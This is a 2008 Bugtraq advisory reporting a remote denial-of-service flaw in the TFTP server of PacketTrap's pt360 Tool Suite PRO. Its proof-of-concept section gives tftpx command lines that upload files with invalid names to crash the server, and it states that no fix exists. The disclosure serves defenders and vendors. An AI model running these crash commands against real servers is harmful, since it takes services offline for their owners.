bugtraq - Denial of Service in PacketTrap TFTP server 2.0.3901.0

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Date: Mon, 10 Mar 2008 22:46:45 +0100
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, news@...uriteam.com,
	full-disclosure@...ts.grok.org.uk, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: Denial of Service in PacketTrap TFTP server 2.0.3901.0


#######################################################################

                             Luigi Auriemma

Application:  pt360 Tool Suite PRO
              http://www.packettrap.com/product/index.aspx
Versions:     <= 2.0.3901.0
Platforms:    Windows
Bug:          Denial of Service of the TFTP server
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@...istici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


pt360 is a suite of network tools.


#######################################################################

======
2) Bug
======


The TFTP server implemented in the pt360 suite can be easily
interrupted through the uploading of files with invalid names, in this
case is raised an exception which blocks the TFTP component and forces
the user to restart the whole application for re-running it.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

  tftpx -u SERVER "\|" none
  tftpx -u SERVER "\"" none
  tftpx -u SERVER "<>" none
  tftpx -u -f SERVER 200 none


#######################################################################

======
4) Fix
======


No fix


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org